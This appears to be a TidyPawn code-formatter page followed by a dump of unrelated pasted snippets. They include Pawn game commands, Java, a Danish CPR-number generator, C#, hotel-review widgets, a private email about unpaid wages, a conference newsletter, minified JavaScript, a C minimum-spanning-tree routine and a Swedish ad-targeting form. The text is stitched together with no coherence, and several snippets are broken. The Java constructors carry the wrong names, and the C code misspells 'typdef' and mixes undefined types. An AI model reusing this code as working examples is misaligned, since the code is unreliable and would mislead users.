Online tool to autoindent Pawn-Code
Just a quick note, that I made one of my web-scripts available to everyone at TidyPawn.
I use TidyPawn usally to autoindent loosly formated pawn code.
Messages
if (strcmp("/s1", cmdtext, true, 10) == 0)
{
if(IsPlayerInRangeOfPoint(playerid, 7.0, -90.0553,1363.0078,10.2734))
{
{
SendClientMessage(playerid,0xFFFFFFFF,"Aliens are watching you!");
PlayAudioStreamForPlayer(playerid, "http://yp.shoutcast.com/sbin/tunein-station.pls?id=691155", -90.0553,1363.0078,10.2734, 100, 1);
}
}
SendClientMessage(playerid, COLOR_GINGER, " You have been teleported !");
SetPlayerInterior(playerid,0);
return 1;
}
if (strcmp("/s2", cmdtext, true, 10) == 0)
{
if(IsPlayerInRangeOfPoint(playerid, 7.0, -90.0553,1363.0078,10.2734))
{
{
SendClientMessage(playerid,0xFFFFFFFF,"Aliens are watching you!");
PlayAudioStreamForPlayer(playerid, "http://yp.shoutcast.com/sbin/tunein-station.pls?id=1274599", 173.1150,1721.5297,24.4281, 100, 1);
}
}
SendClientMessage(playerid, COLOR_GINGER, " You have been teleported !");
SetPlayerInterior(playerid,0);
return 1;
}
public class ModNCounter extends Counter
{
private int m_iMax;
public Counter(int iVal)
{
m_iMax = iVal;
}
public Counter()
{
this(1);
}
public void value
{
return super.value()%m_iMax;
}
}
function skabCPRlk( form ){
if( form.cprdate.value == 0 ){
cpr = form.cpr1to9.value
cpr1 = cpr.charAt( 0 )
cpr2 = cpr.charAt( 1 )
cpr3 = cpr.charAt( 2 )
cpr4 = cpr.charAt( 3 )
cpr5 = cpr.charAt( 4 )
cpr6 = cpr.charAt( 5 )
cpr7 = cpr.charAt( 6 )
form.cprdate.value = ( cpr1 + cpr2 + cpr3 + cpr4 + cpr5 + cpr6 )
}
knap = "cprMaker"
cprMaker( form )
}
function cprMaker( form ){
form.fejllang.value = ""
form.fejlmeld.value = ""
find1 = form.cprdate.value
cpr1 = find1.charAt( 0 )
cpr2 = find1.charAt( 1 )
cpr3 = find1.charAt( 2 )
cpr4 = find1.charAt( 3 )
cpr5 = find1.charAt( 4 )
cpr6 = find1.charAt( 5 )
if( cpr6 != "" ){
useCent( form )
cprMake2( form )
}
if( knap == "cprFejl" ){
form.cpr1to9.value = ""
} else {
form.cpr1to9.value = form.cprdate.value + form.lbnr.value
}
form.cpr0.value = ""
if( ( ( cpr3 + cpr4 ) >12 ) || ( ( cpr1 + cpr2 ) >31 ) ){
form.lbnr.value = "?"
form.kcfr.value = "?"
form.fejlmeld.value = "Ugyldig dato!"
}
if( cpr6 == "" ){
form.lbnr.value = ""
form.kcfr.value = "?"
form.fejlmeld.value = "Skriv f\ørst 6 cifre!"
}
cpr6 = ""
if( window.cpr0 ){
if( eval( cpr0 ) < 10 ){
form.fejlmeld.value = ""
} else {
form.cpr0.value = ""
form.lbnr.value = ""
form.kcfr.value = "?"
form.cpr1to9.value = ""
form.fejlmeld.value = "Skriv f\ørst 6 cifre!"
}
}
}
function cprMake2( form ){
form.lbnr.value = Math.random( )
cpr8 = form.lbnr.value.charAt ( 2 )
cpr9 = form.lbnr.value.charAt ( 3 )
cprTest( form )
useSex( form )
if( knap == "cprFejl" ){ clearCent( form )
}
form.lbnr.value = ( cpr7 + cpr8 + cpr9 )
form.kcfr.value = cpr0
}
function findCent( form ){
form.fejlmeld.value = ""
knap == "cprOK"
if( cpr7 >= 5
&& cpr7 <= 8
&& ( cpr5 + cpr6 ) >= 58
&& ( cpr5 + cpr6 ) <= 99 )
{ form.cent[ 0 ].checked = true }
if( cpr7 >= 0
&& cpr7 <= 3 )
{ form.cent[1].checked = true }
if( cpr7 >= 4
&& cpr7 <= 9
&& ( cpr5 + cpr6 ) <= 36 )
{ form.cent[ 2 ].checked = true }
if( ( cpr7 >= 5
&& cpr7 <= 8
&& ( cpr5 + cpr6 ) >= 37
&& ( cpr5 + cpr6 ) <= 57 )
||
( ( cpr7 == 4
|| cpr7 == 9 )
&& ( cpr5 + cpr6 ) >= 37
&& ( cpr5 + cpr6 ) <= 57 ) ){
form.cpr1to9.value = ""
form.fejllang.value = "Ugyldigt nummer - cifferet kan ikke benyttes med dette \årstal!"
knap = "cprFejl" }
}
function useCent( form ){
form.fejlmeld.value = ""
knap == "cprOK"
form.kcfr.value = Math.random ( )
cpr7 = form.kcfr.value.charAt ( 2 )
if( form.cent[ 0 ].checked == true ){
if( ( cpr5 + cpr6 ) < 58 ){
form.fejllang.value = "Angivne \år 18" + cpr5 + cpr6 + " er f\ør valgte periode 1858-1899"
knap = "cprFejl"
}
else
if( ( cpr5 + cpr6 ) >= 58
&& cpr7 >= 5
&& cpr7 <= 8 )
{ cprMake2( form )
}
else useCent( form )
}
else
if( form.cent[ 1 ].checked == true )
{ if( cpr7 <= 3
|| ( ( cpr5 + cpr6 ) >= 37
&& ( cpr7 == 4
|| cpr7 == 9 ) ) )
{ cprMake2( form )
}
else useCent( form )
}
else
if( form.cent[ 2 ].checked == true ){
if( ( cpr5 + cpr6 ) > 36 ){
form.fejllang.value = "Angivne \år 20" + cpr5 + cpr6 + " er efter valgte periode 2000-2036"
knap = "cprFejl"
}
else
if( ( cpr5 + cpr6 ) <= 36
&& cpr7 >= 4 )
{ cprMake2( form )
}
else useCent( form )
}
else useCent( form )
}
function useSex( form ){
cpr = form.cpr1to9.value
if( form.sex[ 0 ].checked == true
&& (
cpr0 == 0
|| cpr0 == 2
|| cpr0 == 4
|| cpr0 == 6
|| cpr0 == 8 )
)
{ cprMake2( form )
}
if( form.sex[1].checked == true
&& ( cpr0 == 1
|| cpr0 == 3
|| cpr0 == 5
|| cpr0 == 7
|| cpr0 == 9 ) )
{ cprMake2( form )
}
}
function clearCent( form ){
cpr7 = ""
cpr8 = ""
cpr9 = ""
cpr0 = ""
}
// --></script>
</head><body>
<!--noindex-->
namespace Hello {
public class HelloWorld {
public static void Main(string[] args) {
string name = "C#";
// See if an argument was passed from the command line
if (args.Length == 1)
name = args[0];
Console.WriteLine("Hello, " + name + "!");
int total = Sum(4, 3, 2, 1); // returns 10
Console.WriteLine("Result: " + total + ".");
}
int Sum(params int[] nums) {
int sum = 0;
foreach (int i in nums)
sum += i;
return sum;
}
}
}
using System;
namespace Hello {
public class HelloWorld {
public static void Main(string[] args) {
string name = "C#";
// See if an argument was passed from the command line
if (args.Length == 1)
name = args[0];
Console.WriteLine("Hello, " + name + "!");
int total = Sum(4, 3, 2, 1); // returns 10
Console.WriteLine("Result: " + total + ".");
}
int Sum(params int[] nums) {
int sum = 0;
foreach (int i in nums)
sum += i;
return sum;
}
}
}
<div class="TA_cdswritereviewlg" id="TA_cdswritereviewlg766" style="display: none;"><ul class="TA_links 9gIpWClJrGPz" id="OVrste"> <li class="vYlVpdEDzl" id="Fm4melapm5b5">Scrivi una recensione su <a href="http://www.tripadvisor.it/Hotel_Review-g194791-d1657894-Reviews-Clarion_Collection_Arthotel_Park_Lecce-Lecce_Puglia.html">Clarion Collection Arthotel & Park Lecce</a></li> </ul></div> <script src="http://www.jscache.com/wejs?wtype=cdswritereviewlg&uniq=766&locationId=1657894&lang=it"></script> <div id="TA_excellent741" class="TA_excellent" style="display: none;"><ul id="OeuNpHz" class="TA_links xIjYWuY"> <li id="W8Bjcp" class="DuE3qQ"><a target="_blank" href="http://www.tripadvisor.it/Hotel_Review-g194791-d1657894-Reviews-Clarion_Collection_Arthotel_Park_Lecce-Lecce_Puglia.html">Clarion Collection Arthotel & Park Lecce</a> è stato votato "eccellente" da 9 viaggiatori</li> </ul></div>
<script src="http://www.jscache.com/wejs?wtype=excellent&uniq=741&locationId=1657894&lang=it"></script> <div class="TA_selfserveprop" id="TA_selfserveprop728"><ul class="TA_links JJcN1TC9Y" id="SEqYfNsK"> <li class="aq5sjjC1" id="ExiAhHaDzpQg">Sono disponibili 13 recensioni di <a href="http://www.tripadvisor.it/Hotel_Review-g194791-d1657894-Reviews-Clarion_Collection_Arthotel_Park_Lecce-Lecce_Puglia.html" target="_blank">Clarion Collection Arthotel & Park Lecce</a> a Lecce</li> </ul></div> <!-- -->
<script src="http://www.jscache.com/wejs?wtype=selfserveprop&uniq=728&locationId=1657894&lang=it&rating=true&nreviews=5&writereviewlink=true&popIdx=true&iswide=false&linkt=2"></script><div class="venere_it"><h1><a href="http://www.venere.com/it/hotel/lecce/clarion-collection-arthotel-park/#reviews">Clarion Collection Arthotel & Park<br>venere.com</a></h1></div>
Hey Seth,
This is my final invoice minus the $300 advancement you gave me in the month of August.
If you could write me a check for at least the first portion of the August sometime this week
(preferably today), it would be greatly appreciated. It's a block to my ability to move into a
new apartment, especially because I have all of the paperwork submitted and simply need to
schedule an appointment.
I realize the company is going through a tough time, but I haven't been paid in over 2 months,
and its putting me in a difficult situation. I appreciate you letting me stay in your house
for the past almost 2 weeks, it's truly been a lifesaver, but in order for me to get
my life going post-SocialStay i need finances to be able to do that.
Hope all is going well and you're carving a successful path for the company, I know I
wish I could have stayed longer to see it materialize. Again, thanks for everything
you've done for me this past year, and I hope to hear from you soon.
<b><font color="#eb138c" face="verdana,geneva" size="2"><font size="3"><br /></font></font></b>
<div align="center"><b><font color="#eb138c" face="verdana,geneva" size="2"><font size="3">Think out of the box and</font></font><font color="#eb138c"><br /></font><font color="#eb138c" face="verdana,geneva" size="2"><font size="3">have rewarding exchanges</font></font><font color="#eb138c"><br /></font><font color="#eb138c" face="verdana,geneva" size="2"><font size="3">with your international peers<br /></font></font></b></div>
<font face="verdana,geneva" size="2"><br /><b>1. Create a positive change in service culture and customer orientation. </b>Get inspired by innovative service design to add value to services and make travel time a very positive experience for customers. <br /> <b><br />2. Performance and HR policies. </b>Learn from experiences of sustainable HR policies, employee training and the promotion of jobs. Come and hear about HR practices aiming at attracting talents, developing careers, generating pride in jobs and satisfaction.<br /><br /><b>3. Deliver excellence in service planning.</b> Get an overview of different methods and success stories/best practices in Europe, North America and Middle East. <br /><br /><b>4. Switch to performance management.</b> Learn about the latest projects in internal communication, self assessment and quality monitoring. <br /> <br /><b>5. Gain an effective and cohesive communication and brand programme.</b> From the four corners of the word, hear successful case studies of customer orientation from Sweden, Canada, France and Austria. <br /><br /><b>6. Improve customer experience and satisfaction.</b> Canada, South Africa and Hong Kong share their experiences in lifestyle services and effective communication. Yes, they did!<br /><br /><b><font color="#eb138c"><br /></font></b></font>
<div align="center"><font face="verdana,geneva" size="2"><b><font color="#eb138c" size="3">These subjects and others will be covered by the International UITP Conference: Making Public Transport part of a modern urban lifestyle taking place in Venice (Italy) on 6-8 November 2011</font></b> </font></div>
<font face="verdana,geneva" size="2"><br /><br />Click <a target="_blank" href="http://venice.uitp-events-expo.org/en/content/programme">here</a> to access the Conference programme and check the confirmed high-level speakers <br /><br />Don't miss the early bird fee and register until 9 September 2011 to save money, <a target="_blank" href="http://venice.uitp-events-expo.org/en/content/registration-hotels">Register now</a>!</font>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 8px; width: 1px; height: 1px; overflow: hidden;"><br />Think out of the box and<br />have rewarding exchanges<br />with your international peers<br /><br />1. Create a positive change in service culture and customer orientation. Get inspired by innovative service design to add value to services and make travel time a very positive experience for customers. <br /> <br /><br />2. Performance and HR policies. Learn from experiences of sustainable HR policies, employee training and the promotion of jobs. Come and hear about HR practices aiming at attracting talents, developing careers, generating pride in jobs and satisfaction.<br /> <br /><br />3. Deliver excellence in service planning. Get an overview of different methods and success stories/best practices in Europe, North America and Middle East. <br /> <br /><br />4. Switch to performance management. Learn about the latest projects in internal communication, self assessment and quality monitoring. <br /> <br /><br /> 5. Gain an effective and cohesive communication and brand programme. From the four corners of the word, hear successful case studies of customer orientation from Sweden, Canada, France and Austria. <br /> <br /><br /> 6. Improve customer experience and satisfaction. Canada, South Africa and Hong Kong share their experiences in lifestyle services and effective communication. Yes, they did!<br /> <br /><br /><br /> <br /><br />These subjects and others will be covered by the International UITP Conference: Making Public Transport part of a modern urban lifestyle taking place in Venice (Italy) on 6-8 November 2011 <br /><br /> <br /><br />Click here to access the Conference programme and check the confirmed high-level speakers <br /><br />Don't miss the early bird fee and register until 9 September 2011 to save money, Register now!<br /><br /></div>
var mn={nn:function(){return function(){this.qn.apply(this,arguments);} ;} ,rn:function(sn,parent,body){Object.tn(Object.tn(sn.prototype,parent.prototype),body);} } ;Object.tn=function(un,hn){for(jn in hn){un[jn]=hn[jn];} return un;} ;Object.prototype.tn=function(kn){return Object.tn.apply(this,[this,kn]);} ;Function.prototype.ln=function(kn){var on=this;return function(){return on.apply(kn,arguments);} } ;Function.prototype.pn=function(kn){var on=this;return function(event){on.call(kn,event||window.event);} } ;Number.prototype.dn=function(){var en=this.toString((11+5));if(this<(13+3))return'0'+en;return en;} ;var fn={gn:function(){var returnValue;for(var i=0;i<arguments.length;i++){var an=arguments[i];try{returnValue=an();break;} catch(e){} } return returnValue;} } ;var bn=mn.nn();bn.prototype={qn:function(cn,frequency){this.cn=cn;this.frequency=frequency;this.vn=false;this.wn();} ,wn:function(){setInterval(this.xn.ln(this),this.frequency*(887+113));} ,xn:function(){if(!this.vn){try{this.vn=true;this.cn();} finally{this.vn=false;} } } } ;function yn(id){var x;if(!(x=document[id])&&document.all)x=document.all[id];if(!x&&document.getElementById)x=document.getElementById(id);if(!x&&!document.all&&document.getElementsByName){x=document.getElementsByName(id);if(x.length==0)return null;if(x.length==1)return x[0];} return x;} if(!Array.prototype.zn){Array.prototype.zn=function(){var $n=this.length;for(var i=0;i<arguments.length;i++)this[$n+i]=arguments[i];return this.length;} ;} function $(){var _n=new Array();for(var i=0;i<arguments.length;i++){var mq=arguments[i];if(typeof mq=='string')mq=yn(mq);if(arguments.length==1)return mq;_n.zn(mq);} return _n;} var nq={qq:function(){return fn.gn(function(){return new ActiveXObject('Msxml2.XMLHTTP')} ,function(){return new ActiveXObject('Microsoft.XMLHTTP')} ,function(){return new XMLHttpRequest()} )||false;} ,rq:function(sq){if(sq&&sq.status>=(127+73)&&sq.status<0454){var tq=sq.responseXML;if(tq&&tq.documentElement)return tq.documentElement;} return null;} ,uq:function(sq){return sq.statusText||"connection error N"+sq.status;} ,hq:function(){} } ;nq.iq=function(){} ;nq.iq.prototype={jq:function(kq){this.kq={lq:'post',oq:true,pq:''} .tn(kq||{} );} ,dq:function(){try{return this.eq.status||0;} catch(e){return 0} } ,fq:function(){var status=this.dq();return!status||(status>=0310&&status<(242+58));} ,gq:function(){return!this.fq();} } ;nq.aq=mn.nn();nq.aq.bq=['Uninitialized','Loading','Loaded','Interactive','Complete'];mn.rn(nq.aq,nq.iq,{qn:function(url,kq){this.eq=nq.qq();this.jq(kq);this.cq={} ;this.vq=false;this.wq(url);} ,wq:function(url){var pq=this.kq.pq||'';if(pq.length>0)pq+='&_=';try{if(this.kq.lq=='get'&&pq.length>0)url+='?'+pq;this.eq.open(this.kq.lq.toUpperCase(),url,this.kq.oq);if(this.kq.oq){this.eq.onreadystatechange=this.xq.ln(this);if(this.kq.timeout){this.cq=setTimeout(this.yq.ln(this),this.kq.timeout);} } this.zq();var $q=this.kq._q?this.kq._q:pq;this.eq.send(this.kq.lq=='post'?$q:null);} catch(e){this.mr(e);} } ,zq:function(){var nr=['X-Requested-With','XMLHttpRequest'];if(this.kq.lq=='post'){nr.zn('Content-type','application/x-www-form-urlencoded');if(this.eq.overrideMimeType&&(navigator.userAgent.match("/Gecko\/(\d{4} )/")||[0,(1984+21)])[1]<0x7d5)nr.zn('Connection','close');} if(this.kq.nr)nr.zn.apply(nr,this.kq.nr);for(var i=0;i<nr.length;i+=2)this.eq.setRequestHeader(nr[i],nr[i+1]);} ,xq:function(){var qr=this.eq.readyState;if(qr!=1)this.rr(this.eq.readyState);} ,yq:function(){if(this.vq){return;} this.vq=true;(this.kq.sr||nq.hq)(this);} ,rr:function(qr){var event=nq.aq.bq[qr];if(event=='Complete'){try{if(!this.vq){this.vq=true;if(this.kq.timeout){clearTimeout(this.cq);} (this.kq.onComplete||nq.hq)(this.eq);} } catch(e){this.mr(e);} this.eq.onreadystatechange=nq.hq;} } ,mr:function(tr){(this.kq.ur||nq.hq)(this,tr);} } );var hr={ir:function(jr,kr,lr){var or=jr[kr];if(typeof or!='function'){jr[kr]=lr;} else{jr[kr]=function(){or();lr();} } } } ;var pr={dr:new Array,ir:function(er){pr.dr.zn(er);} ,fr:function(){hr.ir(window,'onload',function(){pr.apply();} );} ,apply:function(){for(h=0;er=pr.dr[h];h++){for(gr in er){dr=document.ar(gr);if(!dr)continue;for(i=0;element=dr[i];i++){er[gr](element);} } } } } ;pr.fr();function br(e){return e.all?e.all:e.getElementsByTagName('*');} document.ar=function(gr){if(!document.getElementsByTagName){return new Array();} var cr=gr.split(' ');var vr=new Array(document);for(var i=0;i<cr.length;i++){token=cr[i].replace(/^\s+/,'').replace(/\s+$/,'');;if(token.indexOf('#')>-1){var wr=token.split('#');var xr=wr[0];var id=wr[1];var element=document.getElementById(id);if(element==null||xr&&element.nodeName.toLowerCase()!=xr){return new Array();} vr=new Array(element);continue;} if(token.indexOf('.')>-1){var wr=token.split('.');var xr=wr[0];var yr=wr[1];if(!xr){xr='*';} var zr=new Array;var $r=0;for(var h=0;h<vr.length;h++){var elements;if(xr=='*'){elements=br(vr[h]);} else{elements=vr[h].getElementsByTagName(xr);} if(elements==null)continue;for(var j=0;j<elements.length;j++){zr[$r++]=elements[j];} } vr=new Array;var _r=0;for(var k=0;k<zr.length;k++){if(zr[k].className&&zr[k].className.match(new RegExp("\\b"+yr+"\\b"))){vr[_r++]=zr[k];} } continue;} if(!vr[0]){return;} xr=token;var zr=new Array;var $r=0;for(var h=0;h<vr.length;h++){var elements=vr[h].getElementsByTagName(xr);for(var j=0;j<elements.length;j++){zr[$r++]=elements[j];} } vr=zr;} return vr;} ;var ms={ns:function(parent,name){var qs=parent.getElementsByTagName(name);if(qs.length==0)return"";qs=qs[0].childNodes;var rs="";for(i=0;i<qs.length;i++)rs+=qs[i].nodeValue;return rs;} ,ss:function(ts){var us=ts.childNodes;var hs="";for(i=0;i<us.length;i++)hs+=us[i].nodeValue;return hs;} ,is:function(parent,name){for(k=0;k<parent.attributes.length;k++)if(parent.attributes[k].nodeName==name)return parent.attributes[k].nodeValue;return null;} } ;var js={ks:function(ls,os){var ps=os.rows[ls];if(ps!=null)return ps;if(os.rows['head']!=null)return null;for(k=0;k<os.rows.length;k++){if(os.rows[k].id==ls)return os.rows[k];} return null;} ,ds:function(ls,ps,os){var es=ps.cells[ls];if(es!=null)return es;if(os.rows['head']!=null)return null;for(k=0;k<ps.cells.length;k++){if(ps.cells[k].id==ls)return ps.cells[k];} return null;} ,insertCell:function(ps,ls,fs,gs,as,bs){var cs=ps.insertCell(-1);cs.id=ls;if(gs)cs.align=gs;cs.className=fs;if(as)cs.height=as;cs.innerHTML=bs;} } ;function vs(ws){var xs=document.createElement("div");var ys=navigator.userAgent.toLowerCase();if(ys.indexOf('opera')!=-1){xs.style="position: absolute; left: 0px; top: -200px;";} document.body.appendChild(xs);xs.innerHTML='<embed src="'+ws+'" hidden="true" autostart="true" loop="false">';} function zs($s){return $s.replace('&','&').replace('<','<').replace('>','>').replace('"','"');}
int a;
if(a){
print a;
}
/* Vamos supor que o grafo tem no máximo maxV vértices e no máximo maxE arestas. */
#define maxV 10000
#define maxE 100000000
/* A função abaixo recebe um grafo conexo G com custos nas arestas e calcula uma MST de G. A função armazena as arestas das MSTs no vetor mst[0..k-1] e devolve k. */
/* A função supõe que o custo de cada aresta é estritamente menor que maxCOST. O código é uma versão corrigida do programa 20.6, p.254, de Sedgewick. */
/* (O código abaixo é uma versão adaptada dos programas 1.3, 1.4 e 4.8 (p.17, 19 e 152 respectivamente) do volume 1 do livro de Sedgewick). */
typedef int Vertex;
typedef struct {
Vertex v, w;
double cost;
} Arc;
Arc ARC (Vertex v, Vertex w, double cost) {
Arc e;
e.v = v; e.w = w;
e.cost = cost;
return e;
}
typdef struct{
int V; //numero de vertices
int A;//numero de arestas
Vertex **adj;
}Graph;
int **MATRIXint (int r, int c, int val) {
Vertex i, j;
int **m = malloc(r * sizeof(int *));
for (i = 0; i < r; i++)
m[i] = malloc(c * sizeof(int));
for (i = 0; i < r; i++)
for (j = 0; j < c; j++)
m[i][j] = val;
return m;
}
Graph GRAPHinit (int V) {
Digraph G = malloc(sizeof *G);
G->V = V;
G->A = 0;
G->adj = MATRIXint(V, V, 0);
return G;
}
static Vertex id[maxV];
static int sz[maxV];
void UFinit(int N) {
Vertex i;
for (i = 0; i < N; i++) {
id[i] = i;
sz[i] = 1;
}
}
/* A função find devolve a raiz da union-find tree que contém o vértice x. */
Vertex find(Vertex x) {
Vertex i;
for (i = x; i != id[i]; i = id[i])
id[i] = id[id[i]]; /* path compression */
return i;
}
/* A função UFunion faz a união das union-find trees que contêm os vértices v e w. */
void UFunion(Vertex v, Vertex w) {
Vertex i = find(v), j = find(w);
if (i == j) return;
if (sz[i] < sz[j]) {
id[i] = j;
sz[j] += sz[i];
}
else {
id[j] = i;
sz[i] += sz[j];
}
}
int GRAPHmstB(Graph G, Edge mst[]) {
Arc bvka[maxV], a[2*maxE];
Vertex i, j, u, v, w;
int A = G->A, k = 0;
DIGRAPHarcs(a, G);
UFinit(G->V);
while (1) {
int h, AA;
for (u = 0; u < G->V; u++)
bvka[u] = ARC(u, u, maxCOST);
for (AA = 0, h = 0; h < A; h++) {
i = find(a[h].v); j = find(a[h].w);
if (i != j) {
a[AA++] = a[h];
if (bvka[i].cost > a[h].cost)
bvka[i] = a[h];
}
}
A = AA;
if (A == 0) break;
for (u = 0; u < G->V; u++) {
Arc e = bvka[u];
v = e.v; w = e.w;
if (v != w && find(v) != find(w)) {
UFunion(v, w);
mst[k++] = e;
}
}
}
return k;
}
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head>
<title>Rymdraketen</title>
<style type="text/css">
@import url("/style.css");
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.10/jquery-ui.min.js"></script>
<script type="text/javascript" src="/scripts.js"></script>
</head>
<body>
<div class="wrapper">
<ul class="menu">
<li>
<a href="/">Start</a>
</li>
<li>
<a href="/tree-search">Search</a>
</li>
</ul>
<div class="content">
<div class="head">
</div>
<div class="filterForm">
<ul class="filterTemplates">
<li class="filterTemplate_adAcceptanceFilter">
<div class="close">x</div>
<h3>Ad acceptance policy</h3>
<p>Exclude sections that deny advertisments for</p>
<ul>
<li>
<input type="checkbox" name="filter__international_gambling" id="input_4e01e8bbee831" />
<label for="input_4e01e8bbee831">International gambling</label>
</li>
<li>
<input type="checkbox" name="filter__national_gambling" id="input_4e01e8bbee870" />
<label for="input_4e01e8bbee870">National gambling</label>
</li>
<li>
<input type="checkbox" name="filter__spirits" id="input_4e01e8bbee8ac" />
<label for="input_4e01e8bbee8ac">Spirits</label>
</li>
<li>
<input type="checkbox" name="filter__beer_wine" id="input_4e01e8bbee8e7" />
<label for="input_4e01e8bbee8e7">Beer and wine</label>
</li>
</ul>
</li>
<li class="filterTemplate_ageFilter">
<div class="close">x</div>
<h3>Nyckelord</h3>
<input type="hidden" name="filter_1" value="ageFilter" />
Minst
<select name="filter_1_percentage">
<option value="0">0%</option>
<option value="5">5%</option>
<option value="10">10%</option>
<option value="15">15%</option>
<option value="20">20%</option>
<option value="25">25%</option>
<option value="30">30%</option>
<option value="35">35%</option>
<option value="40">40%</option>
<option value="45">45%</option>
<option value="50">50%</option>
<option value="55">55%</option>
<option value="60">60%</option>
<option value="65">65%</option>
<option value="70">70%</option>
<option value="75">75%</option>
<option value="80">80%</option>
<option value="85">85%</option>
<option value="90">90%</option>
<option value="95">95%</option>
<option value="100">100%</option>
</select>
av besökarna skall vara mellan
<select name="filter_1_min_age">
<option value="0">0år</option>
<option value="1">1år</option>
<option value="2">2år</option>
<option value="3">3år</option>
<option value="4">4år</option>
<option value="5">5år</option>
<option value="6">6år</option>
<option value="7">7år</option>
<option value="8">8år</option>
<option value="9">9år</option>
<option value="10">10år</option>
<option value="11">11år</option>
<option value="12">12år</option>
<option value="13">13år</option>
<option value="14">14år</option>
<option value="15">15år</option>
<option value="16">16år</option>
<option value="17">17år</option>
<option value="18">18år</option>
<option value="19">19år</option>
<option value="20">20år</option>
<option value="21">21år</option>
<option value="22">22år</option>
<option value="23">23år</option>
<option value="24">24år</option>
<option value="25">25år</option>
<option value="26">26år</option>
<option value="27">27år</option>
<option value="28">28år</option>
<option value="29">29år</option>
<option value="30">30år</option>
<option value="31">31år</option>
<option value="32">32år</option>
<option value="33">33år</option>
<option value="34">34år</option>
<option value="35">35år</option>
<option value="36">36år</option>
<option value="37">37år</option>
<option value="38">38år</option>
<option value="39">39år</option>
<option value="40">40år</option>
<option value="41">41år</option>
<option value="42">42år</option>
<option value="43">43år</option>
<option value="44">44år</option>
<option value="45">45år</option>
<option value="46">46år</option>
<option value="47">47år</option>
<option value="48">48år</option>
<option value="49">49år</option>
<option value="50">50år</option>
<option value="51">51år</option>
<option value="52">52år</option>
<option value="53">53år</option>
<option value="54">54år</option>
<option value="55">55år</option>
<option value="56">56år</option>
<option value="57">57år</option>
<option value="58">58år</option>
<option value="59">59år</option>
<option value="60">60år</option>
<option value="61">61år</option>
<option value="62">62år</option>
<option value="63">63år</option>
<option value="64">64år</option>
<option value="65">65år</option>
<option value="66">66år</option>
<option value="67">67år</option>
<option value="68">68år</option>
<option value="69">69år</option>
<option value="70">70år</option>
<option value="71">71år</option>
<option value="72">72år</option>
<option value="73">73år</option>
<option value="74">74år</option>
<option value="75">75år</option>
<option value="76">76år</option>
<option value="77">77år</option>
<option value="78">78år</option>
<option value="79">79år</option>
<option value="80">80år</option>
<option value="81">81år</option>
<option value="82">82år</option>
<option value="83">83år</option>
<option value="84">84år</option>
<option value="85">85år</option>
<option value="86">86år</option>
<option value="87">87år</option>
<option value="88">88år</option>
<option value="89">89år</option>
<option value="90">90år</option>
<option value="91">91år</option>
<option value="92">92år</option>
<option value="93">93år</option>
<option value="94">94år</option>
<option value="95">95år</option>
<option value="96">96år</option>
<option value="97">97år</option>
<option value="98">98år</option>
<option value="99">99år</option>
<option value="100">100år</option>
</select>
och
<select name="filter_1_max_age">
<option value="0">0år</option>
<option value="1">1år</option>
<option value="2">2år</option>
<option value="3">3år</option>
<option value="4">4år</option>
<option value="5">5år</option>
<option value="6">6år</option>
<option value="7">7år</option>
<option value="8">8år</option>
<option value="9">9år</option>
<option value="10">10år</option>
<option value="11">11år</option>
<option value="12">12år</option>
<option value="13">13år</option>
<option value="14">14år</option>
<option value="15">15år</option>
<option value="16">16år</option>
<option value="17">17år</option>
<option value="18">18år</option>
<option value="19">19år</option>
<option value="20">20år</option>
<option value="21">21år</option>
<option value="22">22år</option>
<option value="23">23år</option>
<option value="24">24år</option>
<option value="25">25år</option>
<option value="26">26år</option>
<option value="27">27år</option>
<option value="28">28år</option>
<option value="29">29år</option>
<option value="30">30år</option>
<option value="31">31år</option>
<option value="32">32år</option>
<option value="33">33år</option>
<option value="34">34år</option>
<option value="35">35år</option>
<option value="36">36år</option>
<option value="37">37år</option>
<option value="38">38år</option>
<option value="39">39år</option>
<option value="40">40år</option>
<option value="41">41år</option>
<option value="42">42år</option>
<option value="43">43år</option>
<option value="44">44år</option>
<option value="45">45år</option>
<option value="46">46år</option>
<option value="47">47år</option>
<option value="48">48år</option>
<option value="49">49år</option>
<option value="50">50år</option>
<option value="51">51år</option>
<option value="52">52år</option>
<option value="53">53år</option>
<option value="54">54år</option>
<option value="55">55år</option>
<option value="56">56år</option>
<option value="57">57år</option>
<option value="58">58år</option>
<option value="59">59år</option>
<option value="60">60år</option>
<option value="61">61år</option>
<option value="62">62år</option>
<option value="63">63år</option>
<option value="64">64år</option>
<option value="65">65år</option>
<option value="66">66år</option>
<option value="67">67år</option>
<option value="68">68år</option>
<option value="69">69år</option>
<option value="70">70år</option>
<option value="71">71år</option>
<option value="72">72år</option>
<option value="73">73år</option>
<option value="74">74år</option>
<option value="75">75år</option>
<option value="76">76år</option>
<option value="77">77år</option>
<option value="78">78år</option>
<option value="79">79år</option>
<option value="80">80år</option>
<option value="81">81år</option>
<option value="82">82år</option>
<option value="83">83år</option>
<option value="84">84år</option>
<option value="85">85år</option>
<option value="86">86år</option>
<option value="87">87år</option>
<option value="88">88år</option>
<option value="89">89år</option>
<option value="90">90år</option>
<option value="91">91år</option>
<option value="92">92år</option>
<option value="93">93år</option>
<option value="94">94år</option>
<option value="95">95år</option>
<option value="96">96år</option>
<option value="97">97år</option>
<option value="98">98år</option>
<option value="99">99år</option>
<option value="100">100år</option>
</select>
</li>
<li class="filterTemplate_genderFilter">
<div class="close">x</div>
<h3>Gender</h3>
<input type="hidden" name="filter_2" value="ageFilter" />
Require at least
<select name="filter_2_percentage">
<option value="0">0%</option>
<option value="5">5%</option>
<option value="10">10%</option>
<option value="15">15%</option>
<option value="20">20%</option>
<option value="25">25%</option>
<option value="30">30%</option>
<option value="35">35%</option>
<option value="40">40%</option>
<option value="45">45%</option>
<option value="50">50%</option>
<option value="55">55%</option>
<option value="60">60%</option>
<option value="65">65%</option>
<option value="70">70%</option>
<option value="75">75%</option>
<option value="80">80%</option>
<option value="85">85%</option>
<option value="90">90%</option>
<option value="95">95%</option>
<option value="100">100%</option>
</select>
of visitors to be
<select name="filter_2_gender">
<option value="female">female</option>
<option value="male">male</option>
</select>
</li>
<li class="filterTemplate_keywordFilter">
<div class="close">x</div>
<h3>Keywords</h3>
